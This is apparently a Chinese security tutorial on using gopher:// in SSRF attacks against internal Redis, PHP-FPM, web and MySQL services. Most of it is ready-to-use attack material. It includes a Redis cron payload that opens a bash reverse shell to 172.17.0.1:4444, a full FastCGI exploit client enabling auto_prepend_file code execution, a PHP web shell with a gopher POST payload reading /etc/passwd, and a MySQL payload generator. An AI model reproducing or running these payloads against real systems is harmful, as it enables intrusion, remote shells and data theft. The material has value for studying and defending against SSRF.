Do Evil Things With Gopher://
0x00 关于 Gopher
Gopher 是一个互联网上使用的分布型的文件搜集获取网络协议。Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
0x01 攻击内网 Redis
实验环境:
-
CentOS 8.0.1905 (Core)
-
Nginx/1.14.1 + PHP 7.2.11
index.php:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
?>
一般内网中会存在 root 权限运行的 Redis 服务,利用 Gopher 协议攻击内网中的 Redis,这无疑可以隔山打牛,直杀内网。首先了解一下通常攻击 Redis 的命令,然后转化为 Gopher 可用的协议。常见的 exp 如下:
# redis-cli -h $1 config set stop-writes-on-bgsave-error no
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.17.0.1/4444 0>&1\n\n"| redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
将本地的 4444 端口转发到本地的 6379 端口,利用脚本攻击自身并抓包得到数据流:
socat -v tcp-listen:4444,fork tcp-connect:localhost:6379
Socat 捕获到数据流:
> 2019/12/02 02:38:34.391245 length=84 from=0 to=83
*3\r
$3\r
set\r
$1\r
1\r
$57\r
*/1 * * * * bash -i >& /dev/tcp/172.17.0.1/4444 0>&1
\r
< 2019/12/02 02:38:34.391639 length=5 from=0 to=4
+OK\r
> 2019/12/02 02:38:34.395036 length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2019/12/02 02:38:34.399381 length=5 from=0 to=4
+OK\r
> 2019/12/02 02:38:34.402920 length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2019/12/02 02:38:34.407360 length=5 from=0 to=4
+OK\r
> 2019/12/02 02:38:34.410888 length=14 from=0 to=13
*1\r
$4\r
save\r
< 2019/12/02 02:38:34.417962 length=5 from=0 to=4
+OK\r
转换流量适配 Gopher:// :
- redis2gopher.py
#coding: utf-8
import sys
exp = ''
with open(sys.argv[1]) as f:
for line in f.readlines():
if line[0] in '><+':
continue
elif line[-3:-1] == r'\r':
if len(line) == 3:
exp = exp + '%0a%0d%0a'
else:
line = line.replace(r'\r', '%0d%0a')
line = line.replace('\n', '')
exp = exp + line
elif line == '\x0a':
exp = exp + '%0a'
else:
line = line.replace('\n', '')
exp = exp + line
print exp
执行:
root@ubuntu:~# python redis2gopher.py socat.log
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>%26%20/dev/tcp/172.17.0.1/4444%200>%261%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a
UrlEncode Payload:
?url=%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%36%33%37%39%2f%5f%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%35%37%25%30%64%25%30%61%25%30%61%25%30%61%2a%2f%31%25%32%30%2a%25%32%30%2a%25%32%30%2a%25%32%30%2a%25%32%30%62%61%73%68%25%32%30%2d%69%25%32%30%3e%25%32%36%25%32%30%2f%64%65%76%2f%74%63%70%2f%31%37%32%2e%31%37%2e%30%2e%31%2f%34%34%34%34%25%32%30%30%3e%25%32%36%31%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61
成功反弹 shell:
0x02 攻击 PHP-FPM
Fastcgi 是一个通信协议,和 HTTP 协议一样,都是进行数据交换的一个通道。HTTP 协议是浏览器和服务器中间件进行数据交换的协议,浏览器将 HTTP 头和 HTTP 体用某个规则组装成数据包,以 TCP 的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以 HTTP 协议的规则打包返回给浏览器。类比 HTTP 协议来说,fastcgi 协议则是服务器中间件(如Nginx)和某个语言后端进行数据交换的协议。Fastcgi 协议由多个 record 组成,record 也有 header 和 body 一说,服务器中间件将这二者按照 fastcgi 的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
FPM(FastCGI Process Manager)其实是一个 fastcgi 协议解析器,Nginx 等服务器中间件将用户请求按照 fastcgi 的规则打包好通过 TCP 传给 FPM,FPM 按照 fastcgi 的协议将 TCP 流解析成真正的数据。PHP-FPM 默认监听 9000 端口,如果这个端口暴露在公网,则我们可以自己构造 fastcgi 协议,和 fpm 进行通信,利用 Gopher + SSRF 可以完美攻击 FastCGI 执行任意命令。
通过 Gopher 传送 FastCgi 协议 Evil 数据(设置 PHP-FPM 环境变量,开启远程文件包含)给后端语言处理,从而执行任意代码。
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
Require:
-
libcurl >= 7.45.0 (Exp 中包含
%00
, 低版本 Gopher 中的 %00 会被截断); -
PHP-FPM >= 5.3.3、监听端口(一般为 9000)、任意 php 绝对路径。
实验环境:Vulhub / fpm (IP 172.18.0.2)
端口映射:
查找 PHP 文件绝对路径:
如果外网暴露 9000 端口则直接攻击利用:
python fpm.py 172.18.0.2 -p 9000 /usr/local/lib/php/pearcmd.php -c '<?php echo `id`; exit; ?>'
- fpm.py
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) \
+ bchr(fcgi_type) \
+ bchr((requestid >> 8) & 0xFF) \
+ bchr(requestid & 0xFF) \
+ bchr((length >> 8) & 0xFF) \
+ bchr(length & 0xFF) \
+ bchr(0) \
+ bchr(0) \
+ content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen < 128:
record += bchr(nLen)
else:
record += bchr((nLen >> 24) | 0x80) \
+ bchr((nLen >> 16) & 0xFF) \
+ bchr((nLen >> 8) & 0xFF) \
+ bchr(nLen & 0xFF)
if vLen < 128:
record += bchr(vLen)
else:
record += bchr((vLen >> 24) | 0x80) \
+ bchr((vLen >> 16) & 0xFF) \
+ bchr((vLen >> 8) & 0xFF) \
+ bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
header['paddingLength'] = bord(stream[6])
header['reserved'] = bord(stream[7])
return header
def __decodeFastCGIRecord(self, buffer):
header = buffer.read(int(self.__FCGI_HEADER_SIZE))
if not header:
return False
else:
record = self.__decodeFastCGIHeader(header)
record['content'] = b''
if 'contentLength' in record.keys():
contentLength = int(record['contentLength'])
record['content'] += buffer.read(contentLength)
if 'paddingLength' in record.keys():
skiped = buffer.read(int(record['paddingLength']))
return record
def request(self, nameValuePairs={}, post=''):
if not self.__connect():
print('connect failure! please check your fasctcgi-server !!')
return
requestId = random.randint(1, (1 << 16) - 1)
self.requests[requestId] = dict()
request = b""
beginFCGIRecordContent = bchr(0) \
+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \
+ bchr(self.keepalive) \
+ bchr(0) * 5
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
beginFCGIRecordContent, requestId)
paramsRecord = b''
if nameValuePairs:
for (name, value) in nameValuePairs.items():
name = force_bytes(name)
value = force_bytes(value)
paramsRecord += self.__encodeNameValueParams(name, value)
if paramsRecord:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
if post:
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
self.sock.send(request)
self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
self.requests[requestId]['response'] = b''
return self.__waitForResponse(requestId)
def __waitForResponse(self, requestId):
data = b''
while True:
buf = self.sock.recv(512)
if not len(buf):
break
data += buf
data = BytesIO(data)
while True:
response = self.__decodeFastCGIRecord(data)
if not response:
break
if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
if requestId == int(response['requestId']):
self.requests[requestId]['response'] += response['content']
if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
self.requests[requestId]
return self.requests[requestId]['response']
def __repr__(self):
return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
parser.add_argument('host', help='Target host, such as 127.0.0.1')
parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
SSRF + Gopher:// 思路:
nc -lvvp 4444 > log.txt
python fpm.py 127.0.0.1 -p 4444 -c "<?php system('echo 1 > /tmp/success'); exit;?>" /usr/local/lib/php/PEAR.php
- trans.py
from urllib import quote
with open('log.txt', 'r') as f:
prefix = 'gopher://127.0.0.1:9000/_'
data = quote(f.read())
payload = prefix + data
print payload
观察到成功创建文件 /tmp/success:
0x03 攻击内网 Web
Gopher 协议的格式:
gopher://127.0.0.1:70(默认端口)/_ + TCP/IP数据
这里的 _
是一种数据连接格式,不一定是 _
,其他任意字符皆可。Gopher 会将后面的数据部分发送给相应的端口,这些数据可以是字符串,也可以是其他的数据请求包,比如 GET、POST 请求,Redis,Mysql 未授权访问等,同时数据部分必须要进行 url 编码,这样 Gopher 协议才能正确解析。
- post.php
<?php system($_POST['cmd']); ?>
POST /post.php HTTP/1.1
Host: 47.98.224.70:7777
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://47.98.224.70:7777/post.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 19
Origin: http://47.98.224.70:7777
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
cmd=cat /etc/passwd
UrlEncode Data:
$ python toGopher.py -h
Usage:
-h --help Help
-f --file Packet file name
-s --stream Byte stream from traffic packet
$ python toGopher.py -f r.txt
%50%4f%53%54%20%2f%70%6f%73%74%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%34%37%2e%39%38%2e%32%32%34%2e%37%30%3a%37%37%37%37%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%3b%20%72%76%3a%37%30%2e%30%29%20%47%65%63%6b%6f%2f%32%30%31%30%30%31%30%31%20%46%69%72%65%66%6f%78%2f%37%30%2e%30%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%2a%2f%2a%3b%71%3d%30%2e%38%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%38%2c%7a%68%2d%54%57%3b%71%3d%30%2e%37%2c%7a%68%2d%48%4b%3b%71%3d%30%2e%35%2c%65%6e%2d%55%53%3b%71%3d%30%2e%33%2c%65%6e%3b%71%3d%30%2e%32%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%52%65%66%65%72%65%72%3a%20%68%74%74%70%3a%2f%2f%34%37%2e%39%38%2e%32%32%34%2e%37%30%3a%37%37%37%37%2f%70%6f%73%74%2e%70%68%70%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%39%0d%0a%4f%72%69%67%69%6e%3a%20%68%74%74%70%3a%2f%2f%34%37%2e%39%38%2e%32%32%34%2e%37%30%3a%37%37%37%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6d%61%78%2d%61%67%65%3d%30%0d%0a%0d%0a%63%6d%64%3d%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64
Payload:
curl -v gopher://127.0.0.1:80/_%50%4f%53%54%20%2f%70%6f%73%74%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%34%37%2e%39%38%2e%32%32%34%2e%37%30%3a%37%37%37%37%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%3b%20%72%76%3a%37%30%2e%30%29%20%47%65%63%6b%6f%2f%32%30%31%30%30%31%30%31%20%46%69%72%65%66%6f%78%2f%37%30%2e%30%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%2a%2f%2a%3b%71%3d%30%2e%38%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%38%2c%7a%68%2d%54%57%3b%71%3d%30%2e%37%2c%7a%68%2d%48%4b%3b%71%3d%30%2e%35%2c%65%6e%2d%55%53%3b%71%3d%30%2e%33%2c%65%6e%3b%71%3d%30%2e%32%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%52%65%66%65%72%65%72%3a%20%68%74%74%70%3a%2f%2f%34%37%2e%39%38%2e%32%32%34%2e%37%30%3a%37%37%37%37%2f%70%6f%73%74%2e%70%68%70%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%39%0d%0a%4f%72%69%67%69%6e%3a%20%68%74%74%70%3a%2f%2f%34%37%2e%39%38%2e%32%32%34%2e%37%30%3a%37%37%37%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6d%61%78%2d%61%67%65%3d%30%0d%0a%0d%0a%63%6d%64%3d%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64
Success:
- toGopher.py
# -*- coding:utf8 -*-
import getopt
import sys
import re
def togopher():
try:
opts,args = getopt.getopt(sys.argv[1:], "hf:s:", ["help", "file=", "stream="])
except:
print """
Usage: python togopher.py -f <filename>
python togopher.py -s <Byte stream>
python togopher.py -h
"""
sys.exit()
if len(opts) == 0:
print "Usage: python togopher.py -h"
for opt,value in opts:
if opt in ("-h", "--help"):
print """Usage:
-h --help Help
-f --file Packet file name
-s --stream Byte stream from traffic packet"""
sys.exit()
if opt in ("-f", "--file"):
if not value:
print "Usage: python togopher.py -f <filename>"
sys.exit()
words = ""
with open(value, "r") as f:
for i in f.readlines():
for j in i:
if re.findall(r'\n', j):
words += "%0d%0a"
else:
temp = str(hex(ord(j)))
if len(temp) == 3:
words += "%0" + temp[2]
else:
words += "%" + temp[2:]
print words
if opt in ("-s", "--stream"):
if not value:
print "Usage: python togopher.py -s <Bytg stream>"
sys.exit()
a = [value[i:i+2] for i in xrange(0, len(value), 2)]
words = "%" + "%".join(a)
print words
if __name__ == "__main__":
togopher()
0x04 攻击内网 Mysql
- 探测端口
gopher://localhost:3306/_
# coding=utf-8
'''
python exploit.py -u test -d '' -P 'select now()' -v -c
'''
from socket import *
from struct import *
from urllib2 import quote,unquote
import sys
import hashlib
import argparse
def hexdump(src, title, length=16):
result = []
digits = 4 if isinstance(src, unicode) else 2
for i in xrange(0, len(src), length):
s = src[i:i + length]
hexa = b''.join(["%0*X" % (digits, ord(x)) for x in s])
hexa = hexa[:16]+" "+hexa[16:]
text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
result.append(b"%04X %-*s %s" % (i, length * (digits + 1), hexa, text))
print title
print(b'\n'.join(result))
print '\n'
def create_zip(filename, content_size):
content = '-'*content_size
filename = pack('<%ds'%len(filename), filename)
content_len_b = pack('<I', len(content))
filename_len_b = pack('<H', len(filename))
local_file_header = b"\x50\x4b\x03\x04\x0a\x00"+"\x00"*12
local_file_header += content_len_b*2
local_file_header += filename_len_b
local_file_header += "\x00\x00"
local_file_header += filename
cd_file_header = b"\x50\x4b\x01\x02\x1e\x03\x0a\x00"+"\x00"*12+filename_len_b+"\x00"*16+filename
cd_file_header_len_b = pack("<I", len(cd_file_header))
offset = pack("<I",len(local_file_header+cd_file_header))
eof_record = b"\x50\x4b\x05\x06"+"\x00"*4+"\x01\x00"*2+cd_file_header_len_b+offset+"\x00\x00"
#return each party of zip
return [local_file_header,content,cd_file_header+eof_record]
class Protocal:
last_packet_index = 0
connect_status = 0 #mark last connection is finish or no
login_packet = ''
def __init__(self, host, port, username, password, database):
self.username = username
self.password = password
self.database = database
self.host = host
self.port = port
def __unpack(self, data):
length = unpack('I', data[:3]+b'\x00')
self.last_packet_index = unpack('B', data[3:4])[0]
if len(data)-4 != length[0]:
print '[-] packet parse error, except lengt {} but {}'.format(length[0], len(data))
sys.exit(1)
return data[4:];
def __pack(self, data):
if self.connect_status == 0:
self.last_packet_index += 1
elif self.connect_status == 1:
self.last_packet_index = 0
header = len(data)
header = pack('<I', len(data))[:3]+pack('B', self.last_packet_index)
return header+data
def __parse_handshake(self, data):
if DEBUG:
hexdump(data,'server handshake')
data = self.__unpack(data)
protocolVersion = unpack('B', data[:1])
svLen = 0
for byte in data[1:]:
svLen += 1
if byte == b'\x00':
break;
serverVersion = data[1:svLen]
threadId = unpack('I', data[svLen+1:svLen+5])
scramble = unpack('8B', data[svLen+5:svLen+13])
serverEncode = unpack('B',data[svLen+16:svLen+17])
scramble += unpack('12B', data[svLen+32:svLen+44])
scramble = ''.join([chr(i) for i in scramble])
packet = {
'protocolVersion':protocolVersion[0],
'serverVersion':serverVersion[0],
'threadId':threadId[0],
'scramble':scramble,
'serverEncode':serverEncode[0]
}
return packet
def encode_password(self, password, scramble):
if password:
stage1_hash = self.__sha1(password)
token = self.xor_string(self.__sha1(scramble+self.__sha1(stage1_hash)), stage1_hash)
return token
else:
return ""
def xor_string(self, str1, str2):
r = ''
for x,y in zip(str1, str2):
r += chr(ord(x)^ord(y))
return r
def __sha1(self, data):
m = hashlib.sha1()
m.update(data)
return m.digest()
def get_client_capabilities(self):
CLIENT_LONG_PASSWORD = 0x0001
CLIENT_FOUND_ROWS = 0x0002
CLIENT_LONG_FLAG = 0x0004
CLIENT_CONNECT_WITH_DB = 0x0008
CLIENT_ODBC = 0x0040
CLIENT_IGNORE_SPACE = 0x0100
CLIENT_PROTOCOL_41 = 0x0200
CLIENT_INTERACTIVE = 0x0400
CLIENT_IGNORE_SIGPIPE = 0x1000
CLIENT_TRANSACTIONS = 0x2000
CLIENT_SECURE_CONNECTION = 0x8000
flag = 0;
flag = flag|CLIENT_LONG_PASSWORD|CLIENT_FOUND_ROWS|CLIENT_LONG_FLAG|CLIENT_CONNECT_WITH_DB|CLIENT_ODBC|CLIENT_IGNORE_SPACE|CLIENT_PROTOCOL_41|CLIENT_INTERACTIVE|CLIENT_IGNORE_SIGPIPE|CLIENT_TRANSACTIONS|CLIENT_SECURE_CONNECTION;
return pack('I', flag);
def __write(self, data):
return self.sock.send(data)
def __read(self, lentgh):
return self.sock.recv(lentgh)
def __get_login_packet(self, scramble):
packet = ''
packet += self.get_client_capabilities() #clientFlags
packet += pack('I', 1024*1024*16) #maxPacketSize
packet += b'\x21' #charset 0x21=utf8
packet += b'\x00'*23
packet += self.username+b'\x00'
passowrd = self.encode_password(self.password, scramble)
packet += chr(len(passowrd))+passowrd
packet += self.database + b'\x00'
packet = self.__pack(packet)
return packet
def execute(self, sql):
packet = self.__pack(b'\x03'+sql)
if DEBUG:
hexdump(packet, 'execute request packet')
self.__write(packet)
response = self.__read(1000)
if DEBUG:
hexdump(response, 'execute result packet')
return response
def __login(self, scramble):
packet = self.__get_login_packet(scramble);
if DEBUG:
hexdump(packet, 'client login packet:')
self.__write(packet);
response = self.__read(1024)
responsePacket = self.__unpack(response)
self.connect_status = 1;
if responsePacket[0] == b'\x00':
print '[+] Login Success'
else:
print '[+] Login error, reason:{}'.format(responsePacket[4:])
if DEBUG:
hexdump(response, 'client Login Result packet:')
def get_payload(self, _sql, size, verbose):
if _sql[-1] == ';':
_sql = _sql[:-1]
zipFile = create_zip('this_is_the_flag', size)
sql = 'select concat(cast({pre} as binary), rpad(({sql}), {size}, \'-\'), cast({suf} as binary))'.format(pre='0x'+zipFile[0].encode('hex'), sql=_sql, size=size, suf='0x'+zipFile[2].encode('hex'))
if verbose:
print 'sql: ',sql
login_packet = self.__get_login_packet('')
self.connect_status = 1;
packet = self.__pack(b'\x03'+sql)
return login_packet + packet
def connect(self):
try:
self.sock = socket(AF_INET, SOCK_STREAM)
self.sock.connect((self.host, int(self.port)))
except Exception,e:
print '[-] connect error: {}'.format(str(e))
return
handshakePacket = self.__read(1024)
handshakeInfo = self.__parse_handshake(handshakePacket);
self.__login(handshakeInfo['scramble'])
parser = argparse.ArgumentParser(description='generate payload of gopher attack mysql')
parser.add_argument("-u", "--user", help="database user", required=True)
parser.add_argument("-d", "--database", help="select database", required=True)
parser.add_argument("-t", "--target", dest="host", help="database host", default="127.0.0.1")
parser.add_argument("-p", "--password", help="database password default null", default="")
parser.add_argument("-P", "--payload", help="the sql you want to execute with out ';'", required=True)
parser.add_argument("-v", "--verbose", help="dump details", action="store_true")
parser.add_argument("-c", "--connect", help="connect your database", action="store_true")
parser.add_argument("--sql", help="print generated sql", action="store_true")
if __name__ == '__main__':
args = parser.parse_args()
DEBUG = 0
if args.verbose:
DEBUG = 1
#default database user m4st3r_ov3rl0rd
protocal = Protocal(args.host, '3306', args.user, args.password, args.database)
if args.connect:
protocal.connect()
result = protocal.execute(args.payload)
print '-'*100
print '| sql:',args.payload,'|'
print '-'*100
print 'Result: ',result
print '-'*100
payload = protocal.get_payload(args.payload, 1000, args.verbose)+'\x00'*4
print '\nPayload:'
print ' '*5,'gopher://foo@[cafebabe.cf]@yolo.com:3306/A'+quote(payload)
0x05 系统局限性
-
大部分 PHP 并不会开启 fopen 的 gopher wrapper
-
file_get_contents 的 gopher 协议不能 URLencode
-
file_get_contents 关于 Gopher 的 302 跳转有 bug,导致利用失败
-
PHP 的 curl 默认不 follow 302 跳转
-
curl/libcurl 7.43 上 gopher 协议存在 bug(%00 截断),经测试 7.49 可用
- 参考 -
[1] Gopher - Wiki
[2] Do Evil Things with gopher:// - Ricter